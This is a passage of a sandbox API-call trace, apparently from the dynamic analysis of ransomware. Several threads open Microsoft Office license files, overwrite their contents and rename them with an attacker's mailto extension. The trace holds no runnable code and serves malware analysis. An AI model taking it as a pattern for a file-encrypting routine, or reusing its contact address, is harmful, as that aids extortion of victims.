	[0087.339] wcscpy (in: _Dest=0x47ec428, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms"
	[0087.339] wcscat (in: _Dest=0x47ec428, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.339] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a4bfa6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0087.339] NtSetInformationFile (FileHandle=0x194c, IoStatusBlock=0x2a4bfa64, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0087.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.342] NtQueryInformationFile (in: FileHandle=0x194c, IoStatusBlock=0x2a4bfa78, FileInformation=0x2a4bfa50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a4bfa78, FileInformation=0x2a4bfa50) returned 0x0
	[0087.342] NtSetInformationFile (FileHandle=0x194c, IoStatusBlock=0x2a4bfa78, FileInformation=0x2a4bfa50, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.343] FlushFileBuffers (hFile=0x194c) returned 1
	[0093.126] CloseHandle (hObject=0x194c) 

Thread:
	id = 1213
	os_tid = 0x1f68

	[0086.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220
	[0086.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1950
	[0086.779] GetFileSizeEx (in: hFile=0x1950, lpFileSize=0x2a53f9b8 | out: lpFileSize=0x2a53f9b8*=11139) returned 1
	[0086.779] SetFilePointerEx (in: hFile=0x1950, liDistanceToMove=0x2b7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.779] ReadFile (in: hFile=0x1950, lpBuffer=0x2a53f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a53f938, lpOverlapped=0x0 | out: lpBuffer=0x2a53f93c*, lpNumberOfBytesRead=0x2a53f938*=0x4, lpOverlapped=0x0) returned 1
	[0086.780] SetFilePointerEx (in: hFile=0x1950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0086.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.780] NtQuerySystemTime (in: CurrentTime=0x2a53f918 | out: CurrentTime=0x2a53f918*=132251868135225364) returned 0x0
	[0086.780] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x39cdf94e
	[0086.780] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xf2e9d9b6
	[0086.780] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x71ba4206
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xa745f254
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x271c021a
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xab30aafc
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x75ff898d
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x856b7858
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xc1afa5ab
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xa25bcfb7
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x567c00bc
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x176823a
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x7891828b
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x623d3a5
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xd6191f07
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x81543990
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x3d52e3ff
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x1ad7a4d0
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xcd08ba16
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x7ad5e93e
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x627e34d9
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xd9292804
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x3e63eda9
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xb4f63a30
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x94e65da8
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x6698f496
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xf3f66582
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x2f1cf588
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xc5b28137
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0xe958b80
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x44f450af
	[0086.781] RtlRandom (in: Seed=0x2a53f924 | out: Seed=0x2a53f924) returned 0x7ec1e92c
	[0086.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0086.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb5d0
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4939810
	[0086.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0086.790] ReadFile (in: hFile=0x1950, lpBuffer=0x4939810, nNumberOfBytesToRead=0x2b83, lpNumberOfBytesRead=0x2a53f914, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2a53f914*=0x2b83, lpOverlapped=0x0) returned 1
	[0086.791] SetFilePointerEx (in: hFile=0x1950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.791] WriteFile (in: hFile=0x1950, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0x2b83, lpNumberOfBytesWritten=0x2a53f910, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2a53f910*=0x2b83, lpOverlapped=0x0) returned 1
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb5d0
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb108
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d5c040
	[0086.793] SetFilePointerEx (in: hFile=0x1950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.793] WriteFile (in: hFile=0x1950, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x2a53f978, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x2a53f978*=0x11d, lpOverlapped=0x0) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0086.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0086.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44980
	[0086.794] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms"
	[0086.794] wcscat (in: _Dest=0x2e44980, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a53f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752ff0
	[0086.794] NtSetInformationFile (FileHandle=0x1950, IoStatusBlock=0x2a53f928, FileInformation=0x4752ff0, Length=0xee, FileInformationClass=0xa) returned 0x0
	[0086.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0086.795] NtQueryInformationFile (in: FileHandle=0x1950, IoStatusBlock=0x2a53f93c, FileInformation=0x2a53f914, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a53f93c, FileInformation=0x2a53f914) returned 0x0
	[0086.795] NtSetInformationFile (FileHandle=0x1950, IoStatusBlock=0x2a53f93c, FileInformation=0x2a53f914, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0086.796] FlushFileBuffers (hFile=0x1950) returned 1
	[0093.104] CloseHandle (hObject=0x1950) 

Thread:
	id = 1214
	os_tid = 0x1f6c

	[0086.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220
	[0086.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1954
	[0086.797] GetFileSizeEx (in: hFile=0x1954, lpFileSize=0x2a5bfd24 | out: lpFileSize=0x2a5bfd24*=20967) returned 1
	[0086.797] SetFilePointerEx (in: hFile=0x1954, liDistanceToMove=0x51e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.797] ReadFile (in: hFile=0x1954, lpBuffer=0x2a5bfca8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a5bfca4, lpOverlapped=0x0 | out: lpBuffer=0x2a5bfca8*, lpNumberOfBytesRead=0x2a5bfca4*=0x4, lpOverlapped=0x0) returned 1
	[0086.799] SetFilePointerEx (in: hFile=0x1954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0086.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.799] NtQuerySystemTime (in: CurrentTime=0x2a5bfc84 | out: CurrentTime=0x2a5bfc84*=132251868135381860) returned 0x0
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x6a38f275
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x24770552
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xa0895462
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xae032ee2
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x7b934d24
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xe63d492b
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x4b294734
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x6960471d
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xf8a1c00d
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x5d641e39
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x9a5264f9
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x3809cfd3
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x74082716
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xe8a4e829
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xc82a1935
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xce6f8953
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xd017e544
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xe5ae76f0
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x8f0431ea
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x930a416b
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xf0726b31
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x2156b337
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xd8e98273
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x3ec1ad08
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x5bc37aa3
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x3b6428db
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xee80f7ba
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xe6e5a544
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xe14f5c4b
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0xecc1c0d
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x99fb572
	[0086.799] RtlRandom (in: Seed=0x2a5bfc90 | out: Seed=0x2a5bfc90) returned 0x5af3acb2
	[0086.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0086.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb5d0
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4939810
	[0086.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0086.808] ReadFile (in: hFile=0x1954, lpBuffer=0x4939810, nNumberOfBytesToRead=0x51e7, lpNumberOfBytesRead=0x2a5bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2a5bfc80*=0x51e7, lpOverlapped=0x0) returned 1
	[0086.810] SetFilePointerEx (in: hFile=0x1954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.810] WriteFile (in: hFile=0x1954, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0x51e7, lpNumberOfBytesWritten=0x2a5bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2a5bfc7c*=0x51e7, lpOverlapped=0x0) returned 1
	[0087.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0087.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb3d8
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb0c0
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x498ed90
	[0087.337] SetFilePointerEx (in: hFile=0x1954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.338] WriteFile (in: hFile=0x1954, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x2a5bfce4, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2a5bfce4*=0x11f, lpOverlapped=0x0) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0087.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0087.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768c80
	[0087.341] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms"
	[0087.341] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
